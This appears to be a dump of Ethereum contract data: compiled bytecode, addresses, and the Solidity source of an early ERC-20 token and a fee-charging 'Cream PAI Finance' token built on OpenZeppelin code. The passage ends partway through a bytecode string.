0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b0316610081565b565b3b151590565b90565b606061007a8383604051806060016040528060278152602001610237602791396100a5565b9392505050565b3660008037600080366000845af43d6000803e8080156100a0573d6000f35b3d6000fd5b6060833b6101095760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161012491906101b7565b600060405180830381855af49150503d806000811461015f576040519150601f19603f3d011682016040523d82523d6000602084013e610164565b606091505b509150915061017482828661017e565b9695505050505050565b6060831561018d57508161007a565b82511561019d5782518084602001fd5b8160405162461bcd60e51b815260040161010091906101d3565b600082516101c9818460208701610206565b9190910192915050565b60208152600082518060208401526101f2816040850160208701610206565b601f01601f19169190910160400192915050565b60005b83811015610221578181015183820152602001610209565b83811115610230576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f133c74c97e108f68ffb678dacb7cede9f658e0edb7cf38f8032e89e792307d164736f6c63430008070033
[ 5 ]
0xf3836dda23fcfccbe3f669ae7b3abe95a5e05fee
pragma solidity ^0.4.4; // ---------------------------------------------------------------------------------------------- // MANHATTAN:PROXY BY KEVIN ABOSCH ©2018 // 8TH AVENUE (10,000 ERC-20 TOKENS) // VERIFY SMART CONTRACT ADDRESS WITH LIST AT HTTP://MANHATTANPROXY.COM // ---------------------------------------------------------------------------------------------- contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract MANHATTANPROXY8THAVE is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MANHATTANPROXY8THAVE ( ) { totalSupply = 10000; balances[msg.sender] = 10000; name = "MP8THAV"; decimals = 0; symbol = "MP8THAV"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eed565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610ee257600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582089ccbb0ee5e2327755671d88cccf6d9138cf33f8162327c88a2133fb68a391fd0029
[ 38 ]
0xf383c1059f471d9c8120cda3eeb2da4c12218e0e
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract CreamPAIFinance is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("Cream PAI Finance", "CreamPAI") { minSupply = 100000000 ether; uint256 totalSupply = 1000000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffff